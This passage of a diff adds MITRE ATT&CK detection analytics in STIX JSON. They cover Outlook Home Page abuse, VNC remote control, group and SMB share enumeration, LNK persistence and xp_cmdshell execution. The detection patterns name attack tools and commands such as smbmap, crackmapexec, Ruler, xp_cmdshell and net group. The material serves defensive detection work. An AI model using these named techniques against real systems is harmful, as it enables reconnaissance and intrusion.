employees." + }, + { + "field": "ExtensionInstallPolicy", + "description": "Policy setting that influences how extension installs are treated: strict policy reduces FP from known extension behavior." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3154acf3-a5df-40bd-b4bc-3a210b6e5e0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0176#AN0501", + "external_id": "AN0501" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0501", + "description": "Post-compromise identity & session anomalies that follow a drive-by compromise: token reuse from new/unfamiliar IPs, anomalous sign-in patterns for previously inactive users, unexpected consent/grant events, or provisioning changes. Defender sees an endpoint/browser compromise (network + endpoint signals) followed by unusual IdP events: new refresh token issuance, consent/consent-grant events, odd MFA bypass patterns, or unusual OAuth client registrations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "saas:auth", + "channel": "Refresh token issuance or refresh token usage from new IPs or user agents" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IdpAlertWindow", + "description": "Time window to correlate IdP events to endpoint compromise alerts (default 30 minutes to 2 hours)." + }, + { + "field": "HighRiskCountryList", + "description": "List of countries/IP zones considered high risk for sign-ins; used to tune geo-anomalies." + }, + { + "field": "DeviceTrustLevel", + "description": "Device trust scoring thresholds that influence whether a sign-in is considered suspicious." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5ce49e4b-a67f-46ea-b48d-f08f7b942fb4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0177#AN0502", + "external_id": "AN0502" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0502", + "description": "Adversary uses a tool like Ruler to configure a malicious Outlook folder Home Page that loads a remote or embedded HTML payload upon folder interaction. Execution chain begins with Outlook launching, a specific folder being accessed, and a suspicious child process being spawned or COM-based execution invoked.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Outlook logs indicating failure to load or render HTML page in Home Page view" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "Execution of PowerShell script to enumerate or remove malicious Home Page folder config" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetFolder", + "description": "Home Page can be configured on any folder like Calendar, Inbox, or custom folders" + }, + { + "field": "HTMLPayloadLocation", + "description": "The Home Page URL may point to internal or external content, hosted on trusted or unknown domains" + }, + { + "field": "ChildProcessName", + "description": "Execution may result in launch of scripting hosts (e.g., mshta.exe, wscript.exe) from outlook.exe" + }, + { + "field": "TimeWindow", + "description": "Execution may occur only when the specific folder is accessed after launch, not immediately at startup" + }, + { + "field": "FormViewBehavior", + "description": "Behavior may vary if the folder's form view is customized or suppressed via GPO" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--616755c6-e83d-46ce-ad76-ac706074a575", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0177#AN0503", + "external_id": "AN0503" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0503", + "description": "Malicious HTML or script is rendered as a Home Page for a specific Outlook folder. Outlook accesses that folder, loads remote content, and executes embedded JavaScript or ActiveX/COM logic resulting in unauthorized actions or local execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:messagetrace", + "channel": "Inbound email triggering Outlook to auto-access folder tied to malicious Home Page" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuditPolicyScope", + "description": "Home Page customization may not be audited unless detailed message or folder auditing is enabled" + }, + { + "field": "FolderAccessRate", + "description": "Anomalous access to folders not usually interacted with can signal triggering of malicious view" + }, + { + "field": "ExternalURLAllowlist", + "description": "Mail clients may restrict remote Home Page content unless domain is explicitly allowed" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7c91d6c7-4591-41b1-9c08-0c0660b07d24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0178#AN0504", + "external_id": "AN0504" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0504", + "description": "Detection of VNC service or executable starting unexpectedly, followed by user session creation and interactive desktop activity (mouse/keyboard simulation).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "port 5900 inbound" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate VNC process with user logon activity within defined time span" + }, + { + "field": "VNCBinaryList", + "description": "Trackable VNC executable names (e.g., vncserver.exe, winvnc.exe)" + }, + { + "field": "LogonType", + "description": "Limit detection to interactive logons (type 10)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9032a591-de05-44c2-b1f6-3d711f417cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0178#AN0505", + "external_id": "AN0505" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0505", + "description": "Spawning of VNC-related processes (e.g., `x11vnc`, `vncserver`) coupled with authentication logs and port listening behavior on TCP 5900.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "linux:syslog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "TCP port 5900 open" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ListeningPort", + "description": "Default VNC port (5900) but may vary in config" + }, + { + "field": "ProcessNameFilter", + "description": "Filter specific VNC binaries in process execution logs" + }, + { + "field": "UserContext", + "description": "Scope detection to non-service or high-privilege accounts" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b88251d3-6406-4512-a55f-a6bc3493e2ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0178#AN0506", + "external_id": "AN0506" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0506", + "description": "Detection of VNC-based remote control via `screensharingd` activity in Unified Logs along with concurrent remote login activity or suspicious user interaction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "authentication" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:firewall", + "channel": "inbound connection to port 5900" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthenticationPredicate", + "description": "Unified log predicate to refine suspicious screensharing access" + }, + { + "field": "TimeWindow", + "description": "Time between VNC connection and follow-on activity (e.g., 30s)" + }, + { + "field": "UserActivitySpike", + "description": "Mouse/keyboard interaction spike immediately post-VNC login" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d14cc347-9e27-479d-8347-1a5950cdd70c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0179#AN0507", + "external_id": "AN0507" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0507", + "description": "Detection of adversary enumeration of domain or local group memberships via native tools such as net.exe, PowerShell, or WMI. This activity may precede lateral movement or privilege escalation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineRegex", + "description": "Regex filters for matching suspicious group enumeration commands (e.g., 'net group', 'Get-ADGroupMember')." + }, + { + "field": "TimeWindow", + "description": "Time threshold for correlating group discovery with subsequent suspicious activity (e.g., lateral movement)." + }, + { + "field": "UserContext", + "description": "Whether the user performing discovery is in a sensitive group or running under unusual context (e.g., non-admin querying Domain Admins)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--56a17328-c6b0-4e3d-9404-d4b8ba967a14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0179#AN0508", + "external_id": "AN0508" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0508", + "description": "Detection of group enumeration using commands like 'id', 'groups', or 'getent group', often followed by privilege escalation or SSH lateral movement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLine", + "description": "Variations of enumeration commands tailored to different Linux distros (e.g., 'getent group', 'cut -d' in /etc/group parsing)." + }, + { + "field": "TTYSession", + "description": "TTY context or source terminal (remote shell vs local login) to reduce noise." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ef8fa56d-882e-42da-990e-2adc3a771041", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0179#AN0509", + "external_id": "AN0509" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0509", + "description": "Group membership checks via 'dscl', 'dscacheutil', or 'id', typically executed via terminal or automation scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process:launch" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLine", + "description": "Filters for suspicious execution of 'dscl . -read /Groups', etc." + }, + { + "field": "ParentProcess", + "description": "Flag group enumeration from automation tools (e.g., LaunchAgents or suspicious apps)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5f9fdff8-55ed-4b1e-8889-46b376ce7149", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0180#AN0510", + "external_id": "AN0510" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0510", + "description": "Detection correlates file creation or modification of `.lnk` (shortcut) files in autostart locations with anomalous parent-child process lineage or unsigned binaries. Defenders should watch for LNK creation/modification events outside of known software installations, patch events, or OS updates. Flag shortcut targets pointing to suspicious locations or unknown binaries, particularly those written by script interpreters or spawned from phishing delivery chains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetPathRegex", + "description": "Tunable regex to flag suspicious shortcut target paths (e.g., temp folder, base64 in target, unusual executable names)" + }, + { + "field": "TimeWindow", + "description": "Time window used to correlate shortcut creation with process execution (e.g., 5-minute window)" + }, + { + "field": "UserContextScope", + "description": "Filter for expected administrative installs versus end-user initiated shortcut creation" + }, + { + "field": "ZoneIdentifierThreshold", + "description": "Configurable value to filter LNK files tagged with external source markers (e.g., ZoneId=3 for Internet)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f9fb1a46-02f0-4d89-a3d9-6bed04bd47be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0181#AN0511", + "external_id": "AN0511" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0511", + "description": "Creation or modification of stored procedures invoking xp_cmdshell or CLR assemblies for command execution and persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "WinEventLog:Application", + "channel": "Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Application", + "channel": "CLR Assembly creation, loading, or modification logs via MSSQL CLR integration" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "xp_cmdshell_invocation_threshold", + "description": "Adjust if legitimate procedures use xp_cmdshell often in environment" + }, + { + "field": "CLRAssemblyNameWhitelist", + "description": "Organization-defined whitelist of legitimate CLR assemblies" + }, + { + "field": "TimeWindow", + "description": "Tune time window to correlate stored procedure creation with process execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2e039fd4-a1f6-4c4b-b47a-56c257335298", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0181#AN0512", + "external_id": "AN0512" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0512", + "description": "SQL stored procedures that invoke OS-level commands via `xp_cmdshell` equivalent or via UDF (User-Defined Functions) mechanisms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "ApplicationLogs:SQL", + "channel": "Stored procedure creation or modification with shell invocation (e.g., system(), exec())" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandRegex", + "description": "Regex used to detect suspicious OS commands via SQL" + }, + { + "field": "TimeWindow", + "description": "Window for correlating procedure creation and command execution" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8a2537c3-9e9a-482d-81e2-281f88cf8878", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0182#AN0513", + "external_id": "AN0513" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0513", + "description": "Process or script enumerates network shares via CLI (net view/net share, PowerShell Get-SmbShare/WMI) or OS APIs (NetShareEnum/ srvsvc.NetShareEnumAll RPC) \u2192 bursts of outbound SMB/RPC connections (445/139, \\\\host\\IPC$ / srvsvc) to many hosts inside a short window \u2192 optional follow-on file listing or copy operations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=17" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-RPC", + "channel": "rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BurstHostThreshold", + "description": "Minimum number of unique destination hosts over SMB within TimeWindow to treat as scanning (e.g., \u22655)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between the discovery process start and SMB fan-out (default 10m)." + }, + { + "field": "AllowedDiscoveryAccounts", + "description": "Service/admin accounts legitimately running inventory scripts." + }, + { + "field": "PipeNameAllowList", + "description": "Pipes (e.g., \\PIPE\\spoolss) normally accessed by management agents; exclude from alerts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2de35397-ef03-4ffe-b531-d7ad61a6f41d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0182#AN0514", + "external_id": "AN0514" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0514", + "description": "CLI tools (smbclient -L, smbmap, rpcclient, nmblookup) or custom scripts enumerate SMB shares on many internal hosts \u2192 corresponding SMB connections (445/139) captured by Zeek/Netflow within a short window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "connection: TCP connections to ports 139/445 to multiple hosts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "NSM:Flow", + "channel": "smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BurstHostThreshold", + "description": "Minimum unique hosts to flag (e.g., \u22655)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between tool exec and SMB fan-out (default 10m)." + }, + { + "field": "ApprovedInventoryHosts", + "description": "IPs of vulnerability scanners or config mgmt systems." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5a9238a9-acd0-44f0-bd41-f86ef433775b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0182#AN0515", + "external_id": "AN0515" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0515", + "description": "Use of native/mac tools (sharing -l, smbutil view, mount_smbfs) or scripts to enumerate SMB shares across many hosts, followed by outbound SMB connections observed in PF/Zeek logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + 